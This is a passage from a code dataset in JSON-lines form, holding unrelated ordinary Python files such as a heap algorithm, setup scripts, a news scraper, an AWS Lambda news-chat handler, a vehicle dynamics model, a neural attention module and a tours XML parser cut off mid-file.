axis=1)\n# bc_dat['row.call'] = bc_dat.apply(lambda row: decide_lib(row, rows, 'row.sum').split('-')[-1], axis=1)\n# bc_dat['col.call'] = bc_dat.apply(lambda row: decide_lib(row, cols, 'col.sum').split('-')[-1], axis=1)\n# bc_dat['plasmid.lib'] = 'TP-' + bc_dat['row.call'] + bc_dat['col.call'] # specifies a well\n# else:\n# bc_dat['plasmid.lib'] = bc_dat.apply(lambda row: decide_lib(row, lib_cols, 'Total.Counts'), axis=1)\n# \n# Exporting filtered output with plasmid library calls, this is the file we will use to parse fitness assay data\n# bc_dat[['BC', 'Edge', 'Total.Counts', 'plasmid.lib'] + lib_cols].to_csv(filtered_output_csv, index=False)\n# \n","sub_path":"fastq_processing/DPE_BC_association_cluster_CB.py","file_name":"DPE_BC_association_cluster_CB.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"404182779","text":"from Queue import PriorityQueue\ndef solve(ropes):\n if len(ropes) <= 1: return 0\n min_heap = PriorityQueue()\n for i in ropes:\n min_heap.put(i)\n total = 0\n while min_heap.qsize() > 1:\n cost = min_heap.get() + min_heap.get()\n total += cost\n min_heap.put(cost)\n return total\n\nif __name__ == '__main__':\n from minitest import *\n\n with test(solve):\n solve([4,3,2,6]).must_equal(29)\n\n","sub_path":"python/leetcode/algorithm/greedy/geeksforgeeks/top_13_Connect_n_ropes_with_minimum_cost.py","file_name":"top_13_Connect_n_ropes_with_minimum_cost.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"85461208","text":"#!/usr/bin/env python\nfrom setuptools import setup\n\n# Put here required packag\n# Uncomment one or more lines below in the install_requires section\n# for the specific client drivers/modules your application needs.\npackages = ['tornado', 'pymongo', 'redis', 'PyMySQL3', 'peewee', 'pycket'\n ]\n\nsetup(name='LinkBook', version='0.0.1',\n description='OpenShift Python-3.3 / Tornado Web Server based application',\n author='LinkBook.L.U', author_email='admin@example.org',\n url='https://pypi.python.org/pypi',\n install_requires=packages,\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"266804460","text":"from tkinter import *\n\ndef invertMatrix(matrices):\n matrices2 = []\n matrix = []\n for i in range(3):\n for j in range(3):\n tempMatrix = matrices[j]\n matrix.append(tempMatrix[i])\n matrices2.append(matrix)\n matrix = []\n return matrices2\n\n\n# Creates an array of the values of both diagonals in \"row form\" so we can use the check method on them.\ndef diagonalizeMatrix(matrices):\n matrices2 = []\n matrix1 = []\n matrix2 = []\n for i in range(3):\n tempMatrix = matrices[i]\n matrix1.append(tempMatrix[i])\n matrix2.append(tempMatrix[2 - i])\n matrices2.append(matrix1)\n matrices2.append(matrix2)\n return matrices2\n\ndef pop_up(text1):\n popup = \\\n Tk()\n popup.title(\"Game Over!\")\n label = Label(popup, text=text1)\n label.pack()\n popup.mainloop()","sub_path":"Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"603640075","text":"\"\"\"\nRocket launcher ability\n\n--\n\nAuthor : DrLarck\n\nLast update : 04/03/20 (DrLarck)\n\"\"\"\n\n# dependancies\nimport asyncio\n\n# util\nfrom utility.cog.character.ability.ability import Ability\nfrom utility.cog.combat_system.damage.calculator import Damage_calculator\n\nclass Rocket_launcher_23(Ability):\n \"\"\"\n Represents the rocket launcher ability\n \"\"\"\n\n def __init__(self, client, ctx, caster, target, team_a, team_b):\n Ability.__init__(self, client, ctx, caster, target, team_a, team_b)\n\n self.name = \"Rocket launcher\"\n self.icon = self.game_icon[\"ability\"][\"emergency_destruction\"]\n self.id = 24\n\n self.damage.physical = 50\n \n async def set_tooltip(self):\n self.tooltip = f\"Inflicts **{int(self.caster.damage.physical_min * 0.5):,}** - **{int(self.caster.damage.physical_max * 0.5):,}**:punch: to **all enemies**.\"\n \n async def use(self):\n \"\"\"\n Inflicts 80 % physical to all enemies\n \"\"\"\n\n # init\n damager = Damage_calculator()\n display = f\"__Move__ : {self.icon}`{self.name}`\\n\"\n damage = await self.get_damage()\n\n for enemy in self.team_b:\n await asyncio.sleep(0)\n\n damage_ = await damager.inflict_damage(self.caster, enemy, damage)\n\n display += f\"{damage_} - {enemy.image.icon}**{enemy.info.name}**{enemy.type.icon}\\n\"\n \n return (display)","sub_path":"utility/cog/character/ability/list/_24_rocket_launcher.py","file_name":"_24_rocket_launcher.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"261194798","text":"import json\nimport datetime\nfrom boto3 import client as boto3_client\nlambda_client = boto3_client('lambda', region_name='ap-northeast-2')\n\nclass AudioController(object):\n def __init__(self):\n self.payload = {\n 'text': ''\n }\n self.string_result = ''\n self.result = None\n self.korAudioUrl = ''\n self.enAudioUrl = ''\n self.audio = None\n def convertToSingleAudio(self,text):\n self.payload = {\n 'text': text,\n 'voiceId': 'Joanna'\n }\n self.result = lambda_client.invoke(\n FunctionName='Webi_ConvertToAudio',\n InvocationType='RequestResponse',\n Payload=json.dumps(self.payload)\n )\n self.string_result = self.result['Payload'].read().decode('utf-8')\n self.enAudioUrl = json.loads(self.string_result)\n self.saveAudio()\n return [self.enAudioUrl,self.audio['audio_id_pk']]\n def convertToAudio(self,korText,enText):\n self.payload = {\n 'text': korText\n }\n self.result = lambda_client.invoke(\n FunctionName='Webi_ConvertToAudio',\n InvocationType='RequestResponse',\n Payload=json.dumps(self.payload)\n )\n self.string_result = self.result['Payload'].read().decode('utf-8')\n self.korAudioUrl = json.loads(self.string_result)\n \n self.payload = {\n 'text': enText,\n 'voiceId': 'Joanna'\n }\n self.result = lambda_client.invoke(\n FunctionName='Webi_ConvertToAudio',\n InvocationType='RequestResponse',\n Payload=json.dumps(self.payload)\n )\n self.string_result = self.result['Payload'].read().decode('utf-8')\n self.enAudioUrl = json.loads(self.string_result)\n \n self.saveAudio()\n return [self.korAudioUrl,self.enAudioUrl,self.audio['audio_id_pk']]\n def saveAudio(self):\n self.payload = {\n 'korAudioUrl': self.korAudioUrl,\n 'enAudioUrl': self.enAudioUrl\n }\n self.result = lambda_client.invoke(\n FunctionName='Webi_SaveAudio',\n InvocationType='RequestResponse',\n Payload=json.dumps(self.payload)\n )\n self.string_result = self.result['Payload'].read().decode('utf-8')\n self.audio = json.loads(self.string_result)\n return self.audio\n \ndef lambda_handler(event, context):\n expectedAnswerList = {\n 'next': ['다음','다음뉴스','다음 뉴스'],\n 'cancel': ['취소'],\n 'confirm': ['확인','읽어','읽어줘'],\n }\n subCategories = ['정치','경제','사회','문화','세계','기술','인기']\n response = {\n 'message': {\n 'data': None,\n 'date': None,\n 'audioUrl': None,\n 'documentUrl': None,\n 'documentData':{\n 'text': None,\n 'korSummary': None,\n 'enSummary': None,\n 'korAudioUrl': None,\n 'enAudioUrl': None,\n }\n },\n 'state': {\n 'depth': 0,\n 'title': None,\n 'mainCategory': None,\n 'subCategory': None,\n 'url': None,\n }\n }\n state = event['state']\n userMessage = event['message']\n userId = event['userId']\n audioController = AudioController()\n \n # check user message\n state['depth'] += 1\n if state['depth'] == 1:\n state['depth'] = 1\n elif state['depth'] == 2:\n if userMessage['data'] in subCategories:\n state['subCategory'] = userMessage['data']\n else:\n state['depth'] = 1\n elif state['depth'] == 3:\n if userMessage['data'] in expectedAnswerList['confirm']:\n state['depth'] = 3\n elif userMessage['data'] in expectedAnswerList['next']:\n state['depth'] = 2\n elif userMessage['data'] in expectedAnswerList['cancel']:\n state['depth'] = 1\n else:\n print('err')\n # 못알아들음\n \n # create server message\n if state['depth'] == 1:\n response['message']['data'] = ' '.join(subCategories) + ' 중 원하시는 메뉴를 말씀해 주세요.'\n response['message']['audioUrl'] = 'https://test-audioposts.s3.ap-northeast-2.amazonaws.com/default.mp3'\n elif state['depth'] == 2:\n # crawling news list\n payload = {\n 'category': state['subCategory'],\n 'url': state['url']\n }\n result = lambda_client.invoke(\n FunctionName='Webi_GetListOfNewsType',\n InvocationType='RequestResponse',\n Payload=json.dumps(payload)\n )\n string_result = result['Payload'].read().decode('utf-8')\n newsList = json.loads(string_result)\n \n if newsList is not None:\n resMessage = newsList['title'] + \" [ \" + newsList['company'] + \" \" + newsList['date'].split('T')[0] + \" ]\"\n # response['message']['data'] = newsList['title']\n # response['message']['audioUrl'],audioId = audioController.convertToSingleAudio(newsList['title'])\n \n response['message']['data'] = resMessage\n response['message']['audioUrl'],audioId = audioController.convertToSingleAudio(resMessage)\n \n state['title'] = newsList['title']\n state['url'] = newsList['url']\n else:\n errMessage = '더이상 표시할 내용이 없습니다.'\n response['message']['data'] = errMessage\n response['message']['audioUrl'],audioId = audioController.convertToSingleAudio(errMessage)\n state['depth'] = 0\n state['url'] = None\n state['title'] = None\n state['subCategory'] = None\n \n elif state['depth'] == 3:\n # check document\n payload = {\n 'url': state['url']\n }\n result = lambda_client.invoke(\n FunctionName='Webi_GetSavedDataOfUrl',\n InvocationType='RequestResponse',\n Payload=json.dumps(payload)\n )\n string_result = result['Payload'].read().decode('utf-8')\n doc = json.loads(string_result)\n if doc is None:\n # crwaling\n payload = {\n 'url': state['url']\n }\n result = lambda_client.invoke(\n FunctionName='Webi_GetTextDataOfUrl',\n InvocationType='RequestResponse',\n Payload=json.dumps(payload)\n )\n string_result = result['Payload'].read().decode('utf-8')\n news = json.loads(string_result)\n # translate\n payload = {\n 'text': news['summary']\n }\n result = lambda_client.invoke(\n FunctionName='Webi_EngToKorWithPapago',\n InvocationType='RequestResponse',\n Payload=json.dumps(payload)\n )\n string_result = result['Payload'].read().decode('utf-8')\n korSummary = json.loads(string_result)\n \n response['message']['documentData']['text'] = news['text']\n response['message']['documentData']['enSummary'] = news['summary']\n response['message']['documentData']['korSummary'] = korSummary\n \n response['message']['documentData']['korAudioUrl'], response['message']['documentData']['enAudioUrl'], audioId = audioController.convertToAudio(korSummary,news['summary'])\n response['message']['data'] = news['summary']\n response['message']['audioUrl'] = response['message']['documentData']['enAudioUrl']\n response['message']['documentUrl'] = state['url']\n \n # save document\n payload = {\n 'document': {\n 'url': state['url'],\n 'mainCategory': state['mainCategory'],\n 'subCategory': state['subCategory'],\n 'title': state['title'],\n 'text': response['message']['documentData']['text'],\n 'en_summary': response['message']['documentData']['enSummary'],\n 'kor_summary': response['message']['documentData']['korSummary'],\n 'en_audio_url': response['message']['documentData']['enAudioUrl'],\n 'kor_audio_url': response['message']['documentData']['korAudioUrl'],\n },\n 'userId': userId,\n 'audioId': audioId\n }\n result = lambda_client.invoke(\n FunctionName='Webi_SaveDocument',\n InvocationType='Event',\n Payload=json.dumps(payload)\n )\n else:\n print(\"saved_data\")\n response['message']['documentData']['text'] = doc['document']['text']\n response['message']['documentData']['enSummary'] = doc['document']['en_summary']\n response['message']['documentData']['korSummary'] = doc['document']['kor_summary']\n response['message']['documentData']['enAudioUrl'] = doc['audio']['en_audio_url']\n response['message']['documentData']['korAudioUrl'] = doc['audio']['kor_audio_url']\n \n response['message']['data'] = doc['document']['en_summary']\n response['message']['audioUrl'] = doc['audio']['en_audio_url']\n response['message']['documentUrl'] = doc['document']['document_url']\n state = {\n 'depth': 0,\n 'title': None,\n 'mainCategory': 'news',\n 'subCategory': None,\n 'url': None,\n }\n \n response['message']['date'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n response['state'] = state\n \n response['uMessage'] = userMessage\n return response","sub_path":"lambda/CreateMessageOfNewsType/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":9890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"147783241","text":"from setuptools import setup\n\nwith open('README.txt', 'r') as readme_file:\n long_description = readme_file.read()\n\nsetup(\n name='pqos',\n version='4.2.0',\n author='Khawar Abbasi',\n author_email='khawar.abbasi@intel.com',\n description='Python interface for PQoS library',\n long_description=long_description,\n long_description_content_type='text/plain',\n url='https://github.com/intel/intel-cmt-cat',\n project_urls={\n 'Bug Tracker': 'https://github.com/intel/intel-cmt-cat/issues'\n },\n license='BSD 3-Clause License',\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: BSD License'\n ],\n packages=['pqos', 'pqos.test'],\n python_requires='>=3.5'\n)\n","sub_path":"lib/python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"417977580","text":"import math\r\n\r\nfrom oomodelling.Model import Model\r\n\r\nclass BicycleDynamicModel(Model):\r\n def __init__(self):\r\n super().__init__()\r\n self.lf = self.parameter(1.105) # distance from the the center of mass to the front (m)\";\r\n self.lr = self.parameter(1.738) # distance from the the center of mass to the rear (m)\";\r\n self.m = self.parameter(1292.2) # Vehicle's mass (kg)\";\r\n self.Iz = self.parameter(1) # Yaw inertial (kgm^2) (Not taken from the book)\";\r\n self.Caf = self.input(lambda: 800.0) # Front Tire cornering stiffness\";\r\n self.Car = self.parameter(800.0) # Rear Tire cornering stiffness\";\r\n self.x = self.state(0.0) # longitudinal displacement in the body frame\";\r\n self.X = self.state(0.0) # x coordinate in the reference frame\";\r\n self.Y = self.state(0.0) # x coordinate in the reference frame\";\r\n self.vx = self.state(1.0) # velocity along x\";\r\n self.y = self.state(0.0) # lateral displacement in the body frame\";\r\n self.vy = self.state(0.0) # velocity along y\";\r\n self.psi = self.state(0.0) # Yaw\";\r\n self.dpsi = self.state(0.0) # Yaw rate\";\r\n self.a = self.input(lambda: 0.0) # longitudinal acceleration\";\r\n self.deltaf = self.input(lambda: 0.0) # steering angle at the front wheel\";\r\n self.af = self.var(lambda: self.deltaf() - (self.vy() + self.lf*self.dpsi())/self.vx()) # Front Tire slip angle\";\r\n self.ar = self.var(lambda: (self.vy() - self.lr*self.dpsi())/self.vx()) # Rear Tire slip angle\";\r\n self.Fcf = self.var(lambda: self.Caf()*self.af()) # lateral tire force at the front tire in the frame of the front tire\";\r\n self.Fcr = self.var(lambda: self.Car*(-self.ar())) # lateral tire force at the rear tire in the frame of the rear tire\";\r\n\r\n self.der('x', lambda: self.vx())\r\n self.der('y', lambda: self.vy())\r\n self.der('psi', lambda: self.dpsi())\r\n self.der('vx', lambda: self.dpsi()*self.vy() + self.a())\r\n self.der('vy', lambda: -self.dpsi()*self.vx() + (1/self.m)*(self.Fcf() * math.cos(self.deltaf()) + self.Fcr()))\r\n self.der('dpsi', lambda: (2/self.Iz)*(self.lf*self.Fcf() - self.lr*self.Fcr()))\r\n self.der('X', lambda: self.vx()*math.cos(self.psi()) - self.vy()*math.sin(self.psi()))\r\n self.der('Y', lambda: self.vx()*math.sin(self.psi()) + self.vy()*math.cos(self.psi()))\r\n\r\n self.save()\r\n","sub_path":"examples/projects/BicycleDynamic/resources/thirdparty/BicycleDynamicModel.py","file_name":"BicycleDynamicModel.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"282761168","text":"import argparse\nimport os\nimport re\n\nimport numpy as np\n\nparser = argparse.ArgumentParser(description='Combine cpu scalability results into csv')\nparser.add_argument('--dir', dest='dir', type=str, required=True, help=\"directory where .cpu_data files live\")\nparser.add_argument('--dest', dest='dest', type=str, required=True, help=\"file to store the combined data\")\n\nFILE_NAME_REGEX = re.compile(r'(kernel|ccp)-(cubic|reno)-([0-9]+).cpu_data$')\n\n\ndef read_file(file_name):\n with open(file_name) as data_file:\n data = []\n for line in data_file:\n data.append(list(map(float, line.split())))\n\n data = np.array(data)\n average = np.average(data, axis=0)\n return average\n \n\ndef combine_files(directory, dest):\n with open(dest + '-reno.csv', 'w+') as reno_dest_file:\n with open(dest + '-cubic.csv', 'w+') as cubic_dest_file:\n reno_dest_file.write('Impl NumFlows Type Value\\n')\n cubic_dest_file.write('Impl NumFlows Type Value\\n')\n for file_name in os.listdir(directory):\n match = FILE_NAME_REGEX.match(file_name)\n if not match:\n continue\n \n average = read_file(directory + '/' + file_name)\n (data_path, algorithm, num_flows) = match.groups()\n num_flows = int(num_flows)\n dest_file = reno_dest_file if algorithm == 'reno' else cubic_dest_file\n (user, _, system, _, _, _, interrupt, _, _, _) = average\n dest_file.write('{} {} user {}\\n'.format(data_path, num_flows, user))\n dest_file.write('{} {} system {}\\n'.format(data_path, num_flows, system))\n dest_file.write('{} {} interrupt {}\\n'.format(data_path, num_flows, interrupt))\n\n\nif __name__ == '__main__':\n parsed = parser.parse_args()\n combine_files(parsed.dir, parsed.dest)\n\n","sub_path":"reproduction/scalability/combine_stats.py","file_name":"combine_stats.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"590384851","text":"# import __main__ as main\n# from Helper.TimerLogger import CodeTimeLogging\n# fileName = main.__file__\n# fileName = fileName.split('\\\\')[-1]\n\n# CodeTimeLogging(Flag='F', filename=fileName, Tag='Array', Difficult='Medium')\n\n\nclass jNode:\n def __init__(self, job):\n self.job = job\n self.prereqs = []\n self.visited = False\n self.processing = False\n\n\nclass jobGraphs:\n def __init__(self, jobs):\n self.node = []\n self.graphs = {}\n for jb in jobs:\n self.graphs[jb] = jNode(jb)\n self.node.append(self.graphs[jb])\n\n def addreq(self, job, prereqs):\n jobNode = self.graphs[job]\n jobPrereq = self.graphs[prereqs]\n\n jobNode.prereqs.append(jobPrereq)\n\n\ndef topologicalSort(job, dependency):\n graphs = createJobGraphs(job, dependency)\n return getOrderedJob(graphs)\n\n\ndef createJobGraphs(jobs, dependency):\n graphs = jobGraphs(jobs)\n for prereqs, job in dependency:\n graphs.addreq(job, prereqs)\n return graphs\n\n\ndef getOrderedJob(graphs):\n orderedJob = []\n node = graphs.node\n while len(node):\n newNode = node.pop()\n containsCycle = dfs(newNode, orderedJob)\n if containsCycle:\n return False\n return True, list(reversed(orderedJob))\n\n\ndef dfs(node, orderedJob):\n if node.visited:\n return False\n if node.processing:\n return True\n\n node.processing = True\n for nxtNode in node.prereqs:\n containsCycle = dfs(nxtNode, orderedJob)\n if containsCycle:\n return False\n node.visited = True\n node.processing = False\n orderedJob.append(node.job)\n\n\nnumCourses = 2\nnode = [i for i in range(numCourses)]\ndependency = prerequisites = [[1, 0]]\n\n# dependency = [[1, 0], [0, 1]]\n\n\nprint(topologicalSort(node, dependency))\n","sub_path":"Yelp_Final.py","file_name":"Yelp_Final.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"123144559","text":"#!/usr/bin/env python\n\n\ndef srch_intf_v2(config_filename):\n intf = [line for line in config_filename\n if line.startswith('interface FastEthernet')\n or line.startswith(' switchport a')\n or line.startswith(' switchport trunk ')\n or line.startswith(' duplex')]\n return intf\n\n\n\ndef get_int_vlan_map2(filename):\n with open(filename) as cfg:\n cfg = cfg.readlines()\n\n list = srch_intf_v2(cfg)\n searched_line = ''.join(list).split(' duplex auto')\n dict_acs = {}\n dict_trnk = {}\n\n for line in searched_line:\n if 'trunk' in line:\n split_line = line.split()\n num_trunk = line.split()[-1].split(',')\n num_trunk = [int(i) for i in num_trunk]\n dict_trnk.update({split_line[1]: num_trunk})\n\n elif 'access' in line:\n split_line = line.split()\n dict_acs.update({split_line[1]: int(split_line[-1])})\n else:\n dict_acs.update({split_line[1]: 1})\n\n return dict_acs, dict_trnk\n\n\n\nprint(get_int_vlan_map2('config_sw2.txt'))\n","sub_path":"09_functions/answ_for_task_9_3a_get_int_vlan_map.py","file_name":"answ_for_task_9_3a_get_int_vlan_map.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"313973965","text":"def solution(list_of_nums):\n \"\"\"Enter Code Here\"\"\"\n even = 0\n odd = 0\n dic = {}\n for i in list_of_nums:\n if(i % 2 == 0):\n even = even + 1\n else:\n odd = odd + 1\n\n dic['ODD'] = odd\n dic['EVEN'] = even\n return dic\n\nsolution([1, 2, 3, 5, 8, 9])\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"152355861","text":"# -*- coding: utf-8 -*-\n'''\nThis file implement functions that scrap news from newAPI and store them into\nmlab MongoDB\n'''\nimport os\nimport sys\nimport time\nfrom newsapi import NewsApiClient\nfrom pymongo import MongoClient\n\n#----------NewsAPI & MongoDB(mLab)------------------#\nnewsAPI_key = 'NoSHOW'\nmongodb_user = 'NoSHOW'\nmongodb_password = 'NoSHOW'\nmongodb_host = 'NoSHOW'\n#---------------------------------------------------\nnewsapi = NewsApiClient(api_key=newsAPI_key)\nmlab_url = 'mongodb://{}:{}@{}/news_db'.format(mongodb_user,mongodb_password,mongodb_host)\nclient = MongoClient(mlab_url)\nnews_db = client.get_database('news_db')\nnews_coll = news_db.news\n#---------------------------------------------#\n\ncategories = ['business','entertainment','general','health',\n 'science', 'sports', 'technology']\ncountries = ['us','gb','ca','au']\nnews_added = 0\n\n\ndef ins_mongo_news(news):\n global news_added\n #check if news already exists in db\n ret = news_coll.find_one({'title':news['title']})\n if(ret is None):\n all_news = news_coll.insert_one(news)\n news_added += 1\n\ndef news_db_info():\n for category in categories:\n ret = news_coll.find({'category':category})\n print('{}: {}'.format(category,ret.count()))\n print('News Total: {}'.format(news_coll.count()))\n\ndef scrap_news():\n for country in countries:\n\n for category in categories:\n top_headlines = newsapi.get_top_headlines( category=category,\n language='en',\n country=country)\n for t_h in top_headlines['articles']:\n news = dict()\n #title\n news['title'] = t_h['title']\n #description\n if(t_h['description'] == '' or t_h['description'] is None):\n news['description'] = t_h['title']\n else:\n news['description'] = t_h['description']\n #category\n news['category'] = category\n #date(publishedAt)\n news['date'] = t_h['publishedAt']\n #author\n news['author'] = t_h['author']\n #source\n news['source'] = t_h['source']['name']\n #url\n news['url'] = t_h['url']\n #urlToImage\n news['img_url'] = t_h['urlToImage']\n #country\n news['country'] = country\n # print(news)\n # Insert Into mongodb\n ins_mongo_news(news)\n #for-END\n #for-END\n #for-END\n\n\n\nif __name__ == '__main__':\n while(True):\n scrap_news()\n print('----------------------------------')\n news_db_info()\n print('***Newly added: {}***'.format(news_added))\n news_added = 0\n os.system('mongoexport -h {} -d news_db -c news -u {} -p {} -o news.json'.format(mongodb_host,mongodb_user,mongodb_password))\n for t in range(30,0,-1):\n print(t)\n time.sleep(1)\n # sys.exit()\n","sub_path":"news_scraper.py","file_name":"news_scraper.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"652357258","text":"\"\"\"\nCreated on Sat Aug 25 15:27:41 2018\n\n@author: Robert Hennessy (robertghennessy@gmail.com)\n\"\"\"\n\nimport datetime as dt\nimport logging\nimport random\n\nimport tenacity as ten\n\n#logging.basicConfig(filename='test.log', level=logging.INFO, \n# format = '%(asctime)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler('hello.log')\nlogger.addHandler(handler)\n\n# reraise the exception, stop after \n@ten.retry(wait=ten.wait_random_exponential(multiplier=1, max=10),\n reraise=True, stop=ten.stop_after_attempt(5),\n before_sleep=ten.before_sleep_log(logger, logging.DEBUG))\ndef wait_exponential_jitter():\n print(dt.datetime.now().time().isoformat())\n raise Exception(\"Fail\")\n \nwait_exponential_jitter()","sub_path":"test_retrying.py","file_name":"test_retrying.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"21664418","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Attention(nn.Module):\n \"\"\"Attention Mechanism\"\"\"\n def __init__(self, dec_nhid, enc_nhid, natt):\n \"\"\"\n :param dec_nhid: the dimension of unidirectional decoder hidden states\n :param enc_nhid: the number of features in encoder's bidirectional hidden states\n :param natt: the number of features in intermediate alignment vectors\n \"\"\"\n super(Attention, self).__init__()\n self.s2s = nn.Linear(enc_nhid, natt)\n self.h2s = nn.Linear(dec_nhid, natt)\n self.a2o = nn.Linear(natt, 1)\n\n def forward(self, prev_dec_hidden, mask, enc_hiddens):\n \"\"\"\n :param prev_dec_hidden: the previous hidden state in decoder (i.e. s(i-1))\n :param mask: mask matrix composed of 0s and 1s that is used to retrieve valid sentence lengths in a batch\n :param enc_hiddens: batch of encoder hidden states\n :return: context: the context vector computed from the weighted sum of encoder hidden states\n \"\"\"\n shape = enc_hiddens.size() # context.size() == [batch_size, longest sentence length in a batch, nenc_hid]\n attn_h = self.s2s(enc_hiddens.view(-1, shape[2])) # 先用enc_hiddens计算attn_h=U.*h\n attn_h = attn_h.view(shape[0], shape[1], -1) # 复原attn_h的批量表示,使attn_h.size() == [shape[0], shape[1], natt]\n attn_h += self.h2s(prev_dec_hidden).unsqueeze(1).expand_as(attn_h) # 计算U.*h + W.*s(i−1)\n logit = self.a2o(torch.tanh(attn_h)).view(shape[0], shape[1]) # 将tanh(U.*h + W.*s(i−1))输入感知层,\n # 得到当前隐层s(i)对于所有h(j)的打分,\n # 即e(i,1),e(i,2), ..., e(i,n)\n if mask.any():\n logit.data.masked_fill_(1 - mask, -float('inf')) # 将batch中句子的无效的padded element得分值置为负无穷,\n # 用以后续进行softmax归一化。\n softmax = F.softmax(logit, dim=1) # 进行softmax归一化,得到注意力权重\n enc_context = torch.bmm(softmax.unsqueeze(1), enc_hiddens).squeeze(1) # 利用上面算出的权重计算encoder hidden states的\n # 加权和,作为Attention层获得的context vector\n return enc_context","sub_path":"Backup/RNNSearch_v2/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"442413180","text":"import pytest\n\nimport scine_utilities as scine\nimport numpy\n\n\ndef test_size_constructor():\n a = scine.AtomCollection(4)\n assert a.size() == 4\n\n\ndef test_element_access():\n a = scine.AtomCollection(2)\n a.elements = [scine.ElementType.H, scine.ElementType.F]\n a.set_element(0, scine.ElementType.Ca)\n assert a.get_element(0) == scine.ElementType.Ca\n assert a.get_element(1) == scine.ElementType.F\n\n\ndef test_position_access():\n pos_a = numpy.array([0.0, 1.0, 2.0])\n pos_b = numpy.array([1.0, 2.0, 3.0])\n a = scine.AtomCollection(2)\n a.positions = [pos_a, pos_b]\n assert numpy.array_equal(a.get_position(0), pos_a)\n assert numpy.array_equal(a.get_position(1), pos_b)\n\n\ndef test_vector_functions():\n a = scine.AtomCollection()\n assert a.size() == 0\n a.push_back(\n scine.Atom(scine.ElementType.P)\n )\n a.push_back(\n scine.Atom(scine.ElementType.N)\n )\n assert a.size() == 2\n a.clear()\n assert a.size() == 0\n a.resize(2)\n assert a.size() == 2\n\n\ndef test_sequence_functions():\n a = scine.AtomCollection(3)\n a.elements = [\n scine.ElementType.F,\n scine.ElementType.Ca,\n scine.ElementType.Br\n ]\n\n element_symbol_strings = \",\".join([str(atom.element) for atom in a])\n assert element_symbol_strings == \"F,Ca,Br\"\n","sub_path":"src/Utils/Python/Tests/test_AtomCollection.py","file_name":"test_AtomCollection.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"214720709","text":"#!/usr/bin/env python3\n\nimport sys, argparse, json\nimport xmltodict\n\n\ndef _get_args():\n '''\n --vehicles vehicles.xml\n --tours tours.xml\n '''\n \n parser = argparse.ArgumentParser()\n #parser.add_argument('--vehicles', required=True, help='json input file. --threads will be ignored unless --test is defined')\n parser.add_argument('--tours', required=True, help='json input file')\n parser.add_argument('--vehicle', required=True, help='vid')\n args = parser.parse_args()\n return(args)\n\n\nclass Main():\n def __init__(self):\n self.args = _get_args()\n\n\n self.registry = {\n 'tractors': {},\n 'trailers': {},\n 'vehicles': {},\n 'tours': {},\n 'tour_vehicles': {},\n 'tour_stops': {}\n }\n\n #self.vehicles_injest(self.registry)\n self.tours_injest(self.registry)\n\n #run reports\n #self.report_tours_and_vehicles(self.registry)\n\n #self.report_tours_only(self.registry)\n\n self.tour_vehicle_report(self.registry, self.args.vehicle)\n \n\n def tours_injest(self, registry):\n\n\n tours_data = xmltodict.parse(open(self.args.tours, mode='r', encoding=\"utf-8\").read(),\n force_list={'tours': True,\n 'stops': True,\n 'vehicle': True,\n 'address': True\n }\n )\n tnum = 0\n\n for t in tours_data['toursdata']['tours']: #yeah, that is a hideous name\n tnum += 1\n #some tours are missing whole sections, for instance, they may have no \"stops\". set empty list\n if not 'vehicle' in t: t['vehicle'] = []\n if not 'stops' in t: t['vehicle'] = []\n\n #root of tour\n try:\n tour = {\n 'id': t['id'],\n 'status': t['status'],\n 'missing_vehicle_data': t['missing_vehicle_data'],\n 'license_plate': t['license_plate'],\n 'planned_begin': t['planned_begin'],\n 'planned_end': t['planned_end'],\n 'haulier': t['haulier'],\n 'transport_company': t['transport_company'],\n 'customer': t['customer'],\n 'vehicle_owner_code': t['vehicle_owner_code'],\n 'vehicles': [],\n 'stops': []\n }\n except Exception as e:\n print(\"missing data for tour: \" +str(tour) +': '+str(e))\n \n else: \n registry['tours'][tour['id']] = tour\n\n\n #list of vehicles we may have\n 